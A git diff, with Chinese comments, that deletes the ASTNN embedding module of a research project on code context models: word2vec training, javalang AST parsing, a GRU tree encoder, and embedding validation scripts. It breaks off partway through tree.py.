-RQ1结果复现:相关的代码文件(在Mylyn数据集上,与SOTA比较),运行方法,输入文件夹,论文结果输出 - -> baseline - -运行 `rq1/baseline/` 下的 `assign_stereotype.py` 文件分配原型,运行 `origin_pattern_match.py` 文件进行子图匹配,得到结果。 - -> our approach - -运行`rq1/our/` 下的 `our_astnn_mylyn.py` 文件,进行 GNN 图构建和训练,并在测试集上测试训练结果。 - -两个的运行结果均输出在控制台。 \ No newline at end of file diff --git a/astnn_embedding/astnn_entry.py b/astnn_embedding/astnn_entry.py deleted file mode 100644 index b25b804..0000000 --- a/astnn_embedding/astnn_entry.py +++ /dev/null @@ -1,57 +0,0 @@ -import os - -import embedding -import train_word2vec - - -os.environ["CUDA_VISIBLE_DEVICES"] = "1" # GPU编号 - -def train_mylyn(step, r, hidden_dim, code_dim): - # 训练word2vec模型 - train_word2vec.main_func(step=step, description='mylyn', r=r, code_dim=code_dim) - # 转换为词向量 - embedding.main_func(step=step, description='mylyn', r=r, hidden_dim=hidden_dim, code_dim=code_dim) - - -# 全部训练 -def train_all(step, r, hidden_dim, code_dim): - """ - 全部训练,得到节点嵌入 - """ - # 训练word2vec模型 - train_word2vec.main_func(step=step, description='all', r=r, code_dim=code_dim) - # 转换为词向量 - embedding.main_func(step=step, description='all', r=r, hidden_dim=hidden_dim, code_dim=code_dim) - - -def train_onlymylyn(step, hidden_dim, code_dim): - """ - 只把mylyn作为训练数据,得到节点嵌入 - """ - train_word2vec.main_func(step=step, description='onlymylyn', code_dim=code_dim) - embedding.main_func(step=step, description='onlymylyn', hidden_dim=hidden_dim, code_dim=code_dim) - - -def train_nopde(step, hidden_dim, code_dim): - """ - 把除pde外的三个项目作为训练数据,得到节点嵌入 - """ - train_word2vec.main_func(step=step, description='nopde', code_dim=code_dim) - embedding.main_func(step=step, description='nopde', hidden_dim=hidden_dim, code_dim=code_dim) - - -def train_noplatform(step, hidden_dim, code_dim): - """ - 把除 platform 外的三个项目作为训练数据,得到节点嵌入 - """ - train_word2vec.main_func(step=step, description='noplatform', code_dim=code_dim) - embedding.main_func(step=step, description='noplatform', hidden_dim=hidden_dim, code_dim=code_dim) - - -if __name__ == '__main__': - # train_mylyn(step=1, r=0.8, hidden_dim=256, code_dim=256) - # train_mylyn(step=2, r=0.8, hidden_dim=256, code_dim=256) - # train_mylyn(step=3, r=0.8, hidden_dim=256, code_dim=256) - train_onlymylyn(1, hidden_dim=256, code_dim=256) - train_onlymylyn(2, hidden_dim=256, code_dim=256) - train_onlymylyn(3, hidden_dim=256, code_dim=256) diff --git a/astnn_embedding/embedding.py b/astnn_embedding/embedding.py deleted file mode 100644 index 9d84b98..0000000 --- a/astnn_embedding/embedding.py +++ /dev/null @@ -1,201 +0,0 @@ -""" -根据 word2vec 模型和 block sequence 生成词向量 -""" -import copy -import os -from os.path import join - -import pandas as pd -import numpy as np -import torch -from javalang.tree import FieldDeclaration, ConstructorDeclaration, ClassDeclaration, InterfaceDeclaration, \ - MethodDeclaration, ConstantDeclaration -from tqdm.auto import tqdm -import xml.etree.ElementTree as ET - -import warnings -from gensim.models.word2vec import Word2Vec - -from my_model import BatchProgramCC - -tqdm.pandas() -warnings.filterwarnings('ignore') - -repo_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', - 'git_repo_code') -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'astnn_embedding') - - -def choose_prediction_step(step: int, ast: pd.DataFrame, model_path, model_dir): - """ - 根据 step 过滤 ast - - :param ast: 完整的 ast 数据 - :param model_path: model 所在路径 - :param model_dir: model 序号 - :return: 过滤后的 ast - """ - if step == 3: - return ast - else: - step_model_path = join(model_path, str(step) + '_step_expanded_model.xml') - tree = ET.parse(step_model_path) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - keys = [] - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - ref_id = vertex.get('ref_id') - kind = vertex.get('kind') - keys.append(model_dir + '_' + kind + '_' + ref_id) - return ast[ast['id'].isin(keys)] - - -def generate_block_seqs(code_ast, vocab, max_token) -> list[list]: - """ - generate block sequences with index representations - - Returns: - """ - from utils import get_blocks_v1 - - def tree_to_index(node): - token = node.token - # 如果在词汇表中,就用词汇表的token,否则为最大的token - result = [vocab[token].index if token in vocab else max_token] - children = node.children - for child in children: - result.append(tree_to_index(child)) - return result - - def trans2seq(r): - """transfer tree to word token sequences - - :arg r: ast tree - """ - # print('ast tree: ', r) - blocks = [] - get_blocks_v1(r, blocks) # 这里应该是根据ast tree去得到子树的一系列表达 - # print('get_blocks', r, '--------', blocks) - tree = [] - for b in blocks: - btree = tree_to_index(b) # 然后去转换为vocab token形式 - tree.append(btree) - # print(tree) - return tree - - blocks = trans2seq(code_ast) # 将code转换为sequence - return blocks # 这里实际上是用于去预测的处理过的数据,是code word2vec sequence - - -def pooling_class_interface_embedding(tree, model, vocab, max_token): - # print(tree) - embeddings = [] - chi = copy.deepcopy(tree.children[4]) - tree.children[4].clear() - # embedding first using self information, prevent the error from no body - embeddings.append(model.encode(generate_block_seqs(tree, vocab, max_token))) - for i in chi: - tree.children[4].append(i) - children = tree.children[4] - for c in children: - if isinstance(c, FieldDeclaration) or isinstance(c, ConstantDeclaration): - embeddings.append(model.encode(generate_block_seqs(c, vocab, max_token))) - elif isinstance(c, MethodDeclaration) or isinstance(c, ConstructorDeclaration): - embeddings.append(model.encode(generate_block_seqs(c, vocab, max_token))) - elif isinstance(c, ClassDeclaration) or isinstance(c, InterfaceDeclaration): - embeddings.append(pooling_class_interface_embedding(c, model, vocab, max_token)) - # print(len(embeddings)) - # print(torch.cat(embeddings)) - return torch.mean(torch.stack(embeddings), dim=0) - # return torch.max(torch.stack(embeddings), dim=0).values - - -def get_embedding(ast_df: pd.DataFrame, model, vocab, max_token) -> pd.DataFrame: - """ - 读取 block 文件,获取每个 element's 200 embedding vector,并保存到 vector.pkl 文件中 - """ - print(f'embedding code...->{ast_df.shape}') - - def embedding(member): - """ - 需要针对不同的类型进行不同的embedding code - function and variable directly embedding,class and interface need to pooling - - :param member: [id, ast] - :return: code embedding - """ - _id: str = member[0] - _id = _id[_id.find('_') + 1:] - code_type = _id[:_id.find('_')] - code_ast = member[1] - # print(member) - if code_type == 'class' or code_type == 'interface': - # first get embedding of all fields and methods, and then max pooling - final_embedding = pooling_class_interface_embedding(code_ast, model, vocab, max_token) - else: - final_embedding = model.encode(generate_block_seqs(code_ast, vocab, max_token)) - return final_embedding - - for i, row in ast_df.iterrows(): - ast_df.at[i, 'code'] = embedding(row) - ast_df.columns = ['id', 'embedding'] - return ast_df - - -def main_func(step, description, r=0.8, use_gpu=True, hidden_dim=100, code_dim=128): - if description == 'all': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - ratio = r - elif description == 'onlymylyn': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - ratio = 0.8 - elif description == 'nopde': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - ratio = 0.8 - elif description == 'noplatform': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - ratio = 0.8 - elif description == 'mylyn': - project_model_list = ['my_mylyn'] - ratio = r - else: - project_model_list = [] - ratio = 1 - word2vec = Word2Vec.load(join(root_path, 'w2v', f'{description}_{str(step)}_{str(ratio)}_node_w2v_{code_dim}')).wv - MAX_TOKENS = word2vec.syn0.shape[0] - EMBEDDING_DIM = word2vec.syn0.shape[1] - # 设置词汇表 - vocab = word2vec.vocab - embeddings = np.zeros((MAX_TOKENS + 1, EMBEDDING_DIM), dtype="float32") - embeddings[:word2vec.syn0.shape[0]] = word2vec.syn0 - print('embeddings', embeddings, embeddings.shape) - print('vocab', len(vocab)) - HIDDEN_DIM = hidden_dim # final embedding size = HIDDEN_DIM * 2 - ENCODE_DIM = code_dim - BATCH_SIZE = 1 - USE_GPU = use_gpu - model = BatchProgramCC(EMBEDDING_DIM, HIDDEN_DIM, MAX_TOKENS + 1, ENCODE_DIM, BATCH_SIZE, - USE_GPU, embeddings) - if USE_GPU: - model.cuda() - # model.to('cuda:1') - model.hidden = model.init_hidden() - for project_model_name in project_model_list: - print('**********', project_model_name) - project_path = join(repo_root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - ast_path = join(model_path, 'astnn_ast.pkl') - # 如果不存在ast,跳过处理 - if not os.path.exists(ast_path): - continue - ast_df = pd.read_pickle(ast_path) - ast_df = choose_prediction_step(step, ast_df, model_path, model_dir) - get_embedding(ast_df, model, vocab, MAX_TOKENS).to_pickle(join(model_path, f'{description}_{step}_astnn_embedding.pkl')) diff --git a/astnn_embedding/embedding_validate.py b/astnn_embedding/embedding_validate.py deleted file mode 100644 index 044c2b7..0000000 --- a/astnn_embedding/embedding_validate.py +++ /dev/null @@ -1,85 +0,0 @@ -import os -from os.path import join - -import numpy as np -import pandas as pd -import torch -import torch.nn.functional as F -from matplotlib import pyplot as plt -from numpy import mean - -repo_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'git_repo_code') - - -# 1. transfer to tsv file -def transfer_files(): - s = ['97', '212', '1116'] - stereotypes = [] - for i in s: - with open(f'./example/{i}_stereotype.txt') as f: - lines = f.readlines() - lines = [line.strip().split(' ') for line in lines] - f.close() - embeddings = pd.read_pickle(join(repo_root_path, 'my_mylyn', i, 'astnn_embedding.pkl')) - for index in range(len(lines)): - lines[index].append(torch.tensor( - embeddings[embeddings['id'] == lines[index][0]]['embedding'].iloc[0].tolist())) - stereotypes += lines - new_df = pd.DataFrame(stereotypes, columns=['id', 'stereotype', 'astnn_embedding']) - new_df.to_pickle(f'./example/stereotype.pkl') - - -def validate_embedding(): - df = pd.read_pickle(f'./example/stereotype.pkl') - dot_result = [] - for index, (_id, _stereotype, _embedding) in df.iterrows(): - print(_id, _stereotype) - new_df = df[df['id'] != _id] - same_df = new_df[new_df['stereotype'] == _stereotype] - not_same_df = new_df[new_df['stereotype'] != _stereotype] - - # print('df', same_df['stereotype'], not_same_df['stereotype']) - def cosine_similar(x): - # 余弦相似度 - # return F.cosine_similarity(x, _embedding, dim=0).tolist() - # 改进余弦相似度 - # mean_t = torch.add(x, _embedding).div(2) - # return F.cosine_similarity(x - mean_t, _embedding - mean_t, dim=0).tolist() - # 欧氏距离 - # return F.pairwise_distance(x, _embedding).tolist() - # pearson相关系数 - vx = x - torch.mean(x) - vy = _embedding - torch.mean(_embedding) - cost = torch.sum(vx * vy) / (torch.sqrt(torch.sum(vx ** 2)) * torch.sqrt(torch.sum(vy ** 2))) - return cost.tolist() - same_result = same_df['embedding'].apply(cosine_similar) - not_same_result = not_same_df['embedding'].apply(cosine_similar) - print( - f'same: {mean(same_result.values) if len(same_result.values) != 0 else 0}\n' - f'not_same: {mean(not_same_result.values) if len(not_same_result.values) != 0 else 0}') - dot_result.append((_id, _stereotype, same_result.values, - mean(same_result.values) if len(same_result.values) != 0 else 0, not_same_result.values, - mean(not_same_result.values) if len(not_same_result.values) != 0 else 0)) - pd.DataFrame(dot_result, columns=['id', 'stereotype', 'common', 'common_avg', 'uncommon', 'uncommon_avg']) \ - .to_csv('./example/result.tsv', index=False) - - -def view_result(): - df = pd.read_csv(f'./example/result.tsv') - df = df[df['common_avg'] != 0] - # 根据类别排序: class-function-variable - df['id'] = df['id'].apply(lambda x: x[x.index('_')+1: x.find('_', x.index('_')+1)]) - df = df.sort_values(['id']) - plt.plot(df['common_avg'].tolist(), '.--', label='common') - plt.plot(df['uncommon_avg'].tolist(), '.--', label='uncommon') - - plt.legend() # 显示上面的label - plt.xlabel('id') # x_label - plt.ylabel('cosine similarity') - plt.show() - - -if __name__ == '__main__': - transfer_files() - validate_embedding() - view_result() diff --git a/astnn_embedding/my_model.py b/astnn_embedding/my_model.py deleted file mode 100644 index 0527dde..0000000 --- a/astnn_embedding/my_model.py +++ /dev/null @@ -1,174 +0,0 @@ -import torch.nn as nn -import torch.nn.functional as F -import torch - -torch.manual_seed(0) -print(torch.__version__) -class BatchTreeEncoder(nn.Module): - def __init__(self, vocab_size, embedding_dim, encode_dim, batch_size, use_gpu, pretrained_weight=None): - super(BatchTreeEncoder, self).__init__() - self.embedding = nn.Embedding(vocab_size, embedding_dim) - self.embedding_dim = embedding_dim - self.encode_dim = encode_dim - self.W_c = nn.Linear(embedding_dim, encode_dim) - self.activation = F.relu - self.stop = -1 - self.batch_size = batch_size - self.use_gpu = use_gpu - self.node_list = [] - self.th = torch.cuda if use_gpu else torch - self.batch_node = None - self.max_index = vocab_size - # pretrained embedding 这里设置的是根据训练word2vec时,生成的预训练权重 - if pretrained_weight is not None: - self.embedding.weight.data.copy_(torch.from_numpy(pretrained_weight)) - self.embedding.weight.requires_grad = False - - def create_tensor(self, tensor): - """将tensor送到GPU""" - if self.use_gpu: - return tensor.cuda() - return tensor - - def traverse_mul(self, node, batch_index): # encodes, [0, 1, 2,....., ?] - size = len(node) # ? - if not size: - return None - batch_current = self.create_tensor(torch.Tensor(torch.zeros(size, self.embedding_dim))) # ?*128 - index, children_index = [], [] - current_node, children = [], [] - for i in range(size): - # if node[i][0] is not -1: - index.append(i) - current_node.append(node[i][0]) - temp = node[i][1:] - c_num = len(temp) - for j in range(c_num): - if temp[j][0] != -1: - if len(children_index) <= j: - children_index.append([i]) - children.append([temp[j]]) - else: - children_index[j].append(i) - children[j].append(temp[j]) - # embedding默认会随机生成词向量,这里应该是不需要的,设置种子为0可以针对相同输入输出固定词向量 - batch_current = self.W_c(batch_current.index_copy(0, torch.Tensor(self.th.LongTensor(index)), - self.embedding( - torch.Tensor(self.th.LongTensor(current_node))))) - for c in range(len(children)): - zeros = self.create_tensor(torch.Tensor(torch.zeros(size, self.encode_dim))) - batch_children_index = [batch_index[i] for i in children_index[c]] - tree = self.traverse_mul(children[c], batch_children_index) - if tree is not None: - batch_current += zeros.index_copy(0, torch.Tensor(self.th.LongTensor(children_index[c])), tree) - b_in = torch.Tensor(self.th.LongTensor(batch_index)) - self.node_list.append(self.batch_node.index_copy(0, b_in, batch_current)) - return batch_current - - def forward(self, x, bs): # encodes ? - self.batch_size = bs # ? - self.batch_node = self.create_tensor(torch.Tensor(torch.zeros(self.batch_size, self.encode_dim))) - # ? * 128 - self.node_list = [] - self.traverse_mul(x, list(range(self.batch_size))) - # 将一系列张量沿着一个新的维度进行拼接,默认为0 - self.node_list = torch.stack(self.node_list) - # ?? * ? *128 ??应该是表示对子树进行递归后生成的向量数目 - max_node = torch.max(self.node_list, 0)[0] # ? * 128 - # 返回输入张量给定维度上每行的最大值,并同时返回每个最大值的位置索引。 - return max_node - - -class BatchProgramCC(nn.Module): - def __init__(self, embedding_dim, hidden_dim, vocab_size, encode_dim, batch_size, use_gpu=True, - pretrained_weight=None): - super(BatchProgramCC, self).__init__() - self.stop = [vocab_size - 1] - self.hidden_dim = hidden_dim - self.num_layers = 1 - self.gpu = use_gpu - self.batch_size = batch_size - self.vocab_size = vocab_size - self.embedding_dim = embedding_dim - self.encode_dim = encode_dim - self.encoder = BatchTreeEncoder(self.vocab_size, self.embedding_dim, self.encode_dim, - self.batch_size, self.gpu, pretrained_weight) - # gru - self.bigru = nn.GRU(self.encode_dim, self.hidden_dim, num_layers=self.num_layers, bidirectional=True, - batch_first=True) - # hidden - self.hidden = self.init_hidden() - self.dropout = nn.Dropout(0.2) - - def init_hidden(self): - if self.gpu is True: - if isinstance(self.bigru, nn.LSTM): - h0 = torch.Tensor(torch.zeros(self.num_layers * 2, self.batch_size, self.hidden_dim).cuda()) - c0 = torch.Tensor(torch.zeros(self.num_layers * 2, self.batch_size, self.hidden_dim).cuda()) - return h0, c0 - return torch.Tensor(torch.zeros(self.num_layers * 2, self.batch_size, self.hidden_dim)).cuda() - else: - return torch.Tensor(torch.zeros(self.num_layers * 2, self.batch_size, self.hidden_dim)) - - def get_zeros(self, num): - """ - 获取num * encode_dim的全零张量 - - Args: - num: 需要的行数 - - Returns: 形状为(num, self.encode_dim)全零张量 - """ - zeros = torch.Tensor(torch.zeros(num, self.encode_dim)) - # 用于创建一个形状为(num, self.encode_dim)的全零张量。其中,num张量的行数;self.encode_dim张量的列数 - if self.gpu: - return zeros.cuda() # 将全零张量移到GPU,加快计算速度 - return zeros - - def encode(self, x): # ? 应该是ast根节点子树个数 - """ - 对ast sequence编码,返回最终的200维度向量 - - Args: - x: ast解析后的sequences - - Returns: 200维度向量表示 - """ - b = [] - b.append(x) - x = b - lens = [len(item) for item in x] - max_len = max(lens) - - encodes = [] - for i in range(self.batch_size): - for j in range(lens[i]): - encodes.append(x[i][j]) - # ? - encodes = self.encoder(encodes, sum(lens)) - # ? * 128 - seq, start, end = [], 0, 0 - for i in range(self.batch_size): - end += lens[i] - seq.append(encodes[start:end]) - if max_len - lens[i]: - seq.append(self.get_zeros(max_len - lens[i])) - start = end - # 将多个张量沿着指定的维度连接起来 - encodes = torch.cat(seq) - # 将 encodes 张量的形状从 (N, *) 变为 (self.batch_size, max_len, *),其中 N 是原始张量的元素数量 - encodes = encodes.view(self.batch_size, max_len, -1) - # 将填充后的序列数据转换为PackedSequence对象,以便在RNN中使用 - encodes = nn.utils.rnn.pack_padded_sequence(encodes, torch.LongTensor(lens), True, False) - gru_out, _ = self.bigru(encodes, self.hidden) - # 将填充后的序列数据还原为原始形状, 并返回还原后的序列和原始长度信息 - gru_out, _ = nn.utils.rnn.pad_packed_sequence(gru_out, batch_first=True, padding_value=-1e9) - # 用于交换张量的两个维度。将gru_out张量的第1个和第2个维度进行交换。 - gru_out = torch.transpose(gru_out, 1, 2) - # pooling - # 对输入的张量gru_out进行一维最大池化操作。 - # 具体来说,它将gru_out沿着第二个维度(即长度维度)进行最大池化,池化窗口的大小为gru_out.size(2)。 - # 最后,使用squeeze(2)方法将结果张量的第三个维度(即长度维度)压缩为1。 - gru_out = F.max_pool1d(gru_out, gru_out.size(2)).squeeze(2) - gru_out = gru_out[0] - return gru_out diff --git a/astnn_embedding/my_preprocess.py b/astnn_embedding/my_preprocess.py deleted file mode 100644 index b303c15..0000000 --- a/astnn_embedding/my_preprocess.py +++ /dev/null @@ -1,45 +0,0 @@ -import os -from os.path import join - -import javalang -import pandas as pd -from javalang.tree import FieldDeclaration - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code', - 'my_mylyn', 'repo_first_3', '1013') - -# java_tsv = pd.read_csv(join(root_path, 'processed_java_codes.tsv'), delimiter='\t') -# print(java_tsv) - -# ast_df = pd.read_pickle(join(root_path, 'astnn_ast.pkl')) -# dec: FieldDeclaration = ast_df.iloc[3]['code'] -# print(dec.children) - -train_vector_df = pd.read_pickle(join(root_path, 'mylyn_1_astnn_embedding.pkl')) -print(train_vector_df['embedding'][0].shape) - - -string = """ -public abstract class AbstractRepositoryTaskEditor extends TaskFormPage { - private static final String LABEL_HISTORY = "History"; - private TaskEditor parentEditor = null; - private class TabVerifyKeyListener implements VerifyKeyListener { - public void verifyKey(VerifyEvent event) { } - } - protected void initTaskEditor(IEditorSite site, RepositoryTaskEditorInput input) { } - protected Label createLabel(Composite composite, RepositoryTaskAttribute attribute) { } - private void setText(Browser browser, String html) {} - private class RadioButtonListener implements SelectionListener, ModifyListener { - public void widgetDefaultSelected(SelectionEvent e) {} - public void modifyText(ModifyEvent e) { } - } -} - -""" -tokens = javalang.tokenizer.tokenize(string) -parser = javalang.parser.Parser(tokens) -tree = parser.parse_class_or_interface_declaration() -print(tree.attrs) -print(tree) -print(tree.children) -print(tree.children[4][0].children[4][0].children) diff --git a/astnn_embedding/solve_ast.py b/astnn_embedding/solve_ast.py deleted file mode 100644 index ec7a53b..0000000 --- a/astnn_embedding/solve_ast.py +++ /dev/null @@ -1,83 +0,0 @@ -""" -解析各个model的ast,并保存 -ast 只解析一次,保存起来即可,太多了,很费时间 -""" -import os -from os.path import join -import pandas as pd -import warnings -from tqdm.auto import tqdm - -tqdm.pandas() -warnings.filterwarnings('ignore') - -repo_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', - 'git_repo_code') - - -def get_parsed_source(input_file: str, output_file=None): - """Parse code using pycparser - - it reads a Dataframe from `input_file` containing the node_id and - code (input Java code) , applies the javalang to the code column and - stores the resulting dataframe into `output_file` - - Args: - input_file (str): Path to the input file - output_file (str): Path to the output file - - """ - import javalang - - def parse_program(member): - """ - call javalang to get ast tree for element - - :param member: (id, code) - :return: ast tree - """ - _id: str = member[0] - tokens = javalang.tokenizer.tokenize(member[1]) - parser = javalang.parser.Parser(tokens) - _id = _id[_id.find('_') + 1:] - code_type = _id[:_id.find('_')] - # 其实可以统一用 parse_member_declaration() - if code_type == 'class' or code_type == 'interface': - tree = parser.parse_class_or_interface_declaration() - else: - tree = parser.parse_member_declaration() - return tree - - # 读java数据文件 - source = pd.read_csv(input_file, delimiter='\t') - # print(source) - source['tokens'] = source.progress_apply(parse_program, axis=1) - source.columns = ['id', 'code'] - source.to_pickle(output_file) # 保存解析的结果 - - -def main_func(project_model_name: str): - project_path = join(repo_root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - # 读取code context model - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - java_code_path = join(model_path, 'processed_java_codes.tsv') - # 如果不存在java_code,跳过处理 - if not os.path.exists(java_code_path): - continue - print('solving ast...') - if os.path.exists(join(model_path, 'astnn_ast.pkl')): - print('ast exist, now removed') - os.remove(join(model_path, 'astnn_ast.pkl')) - get_parsed_source(input_file=join(model_path, 'processed_java_codes.tsv'), - output_file=join(model_path, 'astnn_ast.pkl')) - - -if __name__ == '__main__': - main_func('my_mylyn') - main_func('my_pde') - main_func('my_platform') - main_func('my_ecf') diff --git a/astnn_embedding/train_word2vec.py b/astnn_embedding/train_word2vec.py deleted file mode 100644 index d160532..0000000 --- a/astnn_embedding/train_word2vec.py +++ /dev/null @@ -1,131 +0,0 @@ -""" -加载项目中的所有 ast,合并,并训练生成 word2vec 模型 -可以选择步长,根据步长那部分数据训练word2vec模型 -""" -import os -from os.path import join -import xml.etree.ElementTree as ET - -import pandas as pd -import warnings -from tqdm.auto import tqdm - -from dataset_split_util import get_models_by_ratio - -tqdm.pandas() -warnings.filterwarnings('ignore') - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') -astnn_root = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'astnn_embedding') - - -def choose_prediction_step(step: int, ast: pd.DataFrame, model_path, model_dir): - """ - 根据 step 过滤 ast - - :param step: 步长 - :param ast: 完整的 ast 数据 - :param model_path: model 所在路径 - :param model_dir: model 序号 - :return: 过滤后的 ast - """ - if step == 3: - return ast - else: - step_model_path = join(model_path, str(step) + '_step_expanded_model.xml') - tree = ET.parse(step_model_path) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - keys = [] - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - ref_id = vertex.get('ref_id') - kind = vertex.get('kind') - keys.append(model_dir + '_' + kind + '_' + ref_id) - return ast[ast['id'].isin(keys)] - - -def dictionary_and_embedding(trees, size, step, ratio, description): - """ - 分解词典和训练 word2vec 模型 - - Args: - trees: 需要训练的 ast 集合 pd.DataFrame(['id', 'code']) - size: 嵌入大小 128 - step: 步长 - ratio: 训练的数据比例 - description: 训练的项目描述信息:all训练所有项目,onlymylyn,nopde,noplatform - - Returns: 无 - """ - if not os.path.exists(join(astnn_root, 'w2v')): - os.mkdir(join(astnn_root, 'w2v')) - from utils import get_sequence - - def trans_to_sequences(ast): - sequence = [] - get_sequence(ast, sequence) - return sequence - - corpus = trees['code'].progress_apply(trans_to_sequences) # 调用函数,将 code 转换为 sequence - # str_corpus = [' '.join(c) for c in corpus] # 按照空格连接所有单词 - # 将这些 sentence 交给 word2vec 训练,并保存该模型 - from gensim.models.word2vec import Word2Vec - print('training word2vec...') - # w2v = Word2Vec(corpus, size=size, workers=16, sg=1, max_final_vocab=3000) - w2v = Word2Vec(corpus, size=size, workers=16, sg=1, max_final_vocab=50000) - print(len(w2v.wv.vocab)) - w2v.save(join(astnn_root, 'w2v', f'{description}_{str(step)}_{str(ratio)}_node_w2v_{str(size)}')) - - -def main_func(step: int, description, r=0.8, code_dim=128): - if description == 'all': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - ratio = r - elif description == 'onlymylyn': - project_model_list = ['my_mylyn'] - ratio = 0.8 - elif description == 'nopde': - project_model_list = ['my_platform', 'my_mylyn'] - ratio = 0.8 - elif description == 'noplatform': - project_model_list = ['my_pde', 'my_mylyn'] - ratio = 0.8 - elif description == 'mylyn': - project_model_list = ['my_mylyn'] - ratio = r - else: - project_model_list = [] - ratio = 1 - trees = pd.DataFrame(columns=['id', 'code']) - for project_model_name in project_model_list: - print('***********************', project_model_name) - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0.0, ratio) - for model_dir in model_dir_list: - # if model_dir == '2813': - # continue - print('---------------', model_dir) - model_path = join(project_path, model_dir) - ast_path = join(model_path, 'astnn_ast.pkl') - # 如果不存在ast,跳过处理 - if not os.path.exists(ast_path): - continue - ast = pd.read_pickle(ast_path) - ast = choose_prediction_step(step, ast, model_path, model_dir) - print(f'ast size: {len(ast)}') - trees = pd.concat([trees, ast]) - dictionary_and_embedding(trees, code_dim, step, ratio, description) - -# Word2Vec(corpus, size=size, workers=16, sg=1, max_final_vocab=3000) -# corpus: 这是你的文本语料库。确保 corpus 是一个经过预处理的、可以迭代的文本集合,其中每个文档都是一个词列表。 -# size: 这是 Word2Vec 模型的向量维度,即每个单词的嵌入向量的维度大小。 -# workers: 这是用于训练的线程数。根据计算资源,你可以选择合适的值。在大多数情况下,选择一个较大的值(例如,16)是合适的,以便充分利用多核处理器。 -# sg: 这是 Word2Vec 的训练算法选择, -# sg=1 表示使用 Skip-Gram 算法, -# sg=0 表示使用 CBOW(Continuous Bag of Words)算法。 -# 通常,Skip-Gram 对于大型语料库和少量数据是更好的选择,而 CBOW 可以在小型数据集上更快地训练。 -# max_final_vocab: 这是最终词汇表的最大大小,即最终保留的独特词汇数量。 diff --git a/astnn_embedding/tree.py b/astnn_embedding/tree.py deleted file mode 100644 index c512d3e..0000000 --- a/astnn_embedding/tree.py +++ /dev/null @@ -1,189 +0,0 @@ -from javalang.ast import Node - - -class ASTNode(object): - def __init__(self, node): - self.node = node - # self.vocab = word_map - self.is_str = isinstance(self.node, str) - self.token = self.get_token() - # self.index = self.token_to_index(self.token) - self.children = self.add_children() - - def is_leaf(self): - if self.is_str: - return True - return len(self.node.children()) == 0 - - def get_token(self, lower=True): - if self.is_str: - return self.node - name = self.node.__class__.__name__ - token = name - is_name = False - if self.is_leaf(): - attr_names = self.node.attr_names - if attr_names: - if 'names' in attr_names: - token = self.node.names[0] - elif 'name' in attr_names: - token = self.node.name - is_name = True - else: - token = self.node.value - else: - token = name - else: - if name == 'TypeDecl': - token = self.node.declname - if self.node.attr_names: - attr_names = self.node.attr_names - if 'op' in attr_names: - if self.node.op[0] == 'p': - token = self.node.op[1:] - else: - token = self.node.op - if token is None: - token = name - if lower and is_name: - token = token.lower() - return token - - # def token_to_index(self, token): - # self.index = self.vocab[token].index if token in self.vocab else MAX_TOKENS - # return self.index - - # def get_index(self): - # return self.index - - def add_children(self): - if self.is_str: - return [] - children = self.node.children() - if self.token in ['FuncDef', 'If', 'While', 'DoWhile']: - return [ASTNode(children[0][1])] - elif self.token == 'For': - return [ASTNode(children[c][1]) for c in range(0, len(children) - 1)] - else: - return [ASTNode(child) for _, child in children] - - -Declarations = ['MethodDeclaration', 'ConstructorDeclaration', 'FieldDeclaration', 'ConstantDeclaration'] - - -class BlockNode(object): - def __init__(self, node): - self.node = node - self.is_str = isinstance(self.node, str) - self.token = self.get_token(node) - self.children = self.add_children() - - def is_leaf(self): - if self.is_str: - return True - return len(self.node.children) == 0 - - def get_token(self, node): - if isinstance(node, str): - token = node - elif isinstance(node, set): - token = 'Modifier' - elif isinstance(node, Node): - token = node.__class__.__name__ - else: - token = '' - return token - - def ori_children(self, root): - if isinstance(root, Node): - if self.token in Declarations: - children = root.children[:-1] - else: - children = root.children - elif isinstance(root, set): - children = list(root) - else: - children = [] - - def expand(nested_list): - for item in nested_list: - if isinstance(item, list): - for sub_item in expand(item): - yield sub_item - elif item: - yield item - - return list(expand(children)) - - def add_children(self): - if self.is_str: - return [] - logic = ['SwitchStatement', 'IfStatement', 'ForStatement', 'WhileStatement', 'DoStatement'] - children = self.ori_children(self.node) - if self.token in logic: - return [BlockNode(children[0])] - elif self.token in Declarations: - return [BlockNode(child) for child in children] - else: - return [BlockNode(child) for child in children if self.get_token(child) not in logic] - - -class SingleNode(ASTNode): - def __init__(self, node): - self.node = node - self.is_str = isinstance(self.node, str) - self.token = self.get_token() - self.children = [] - - def is_leaf(self): - if self.is_str: - return True - return len(self.node.children()) == 0 - - def get_token(self, lower=True): - if self.is_str: - return self.node - name = self.node.__class__.__name__ - token = name - is_name = False - if self.is_leaf(): - attr_names = self.node.attr_names - if attr_names: - if 'names' in attr_names: - token = self.node.names[0] - elif 'name' in attr_names: - token = self.node.name - is_name = True - else: - token = self.node.value - else: - token = name - else: - if name == 'TypeDecl': - token = self.node.declname - if self.node.attr_names: - attr_names = self.node.attr_names - if 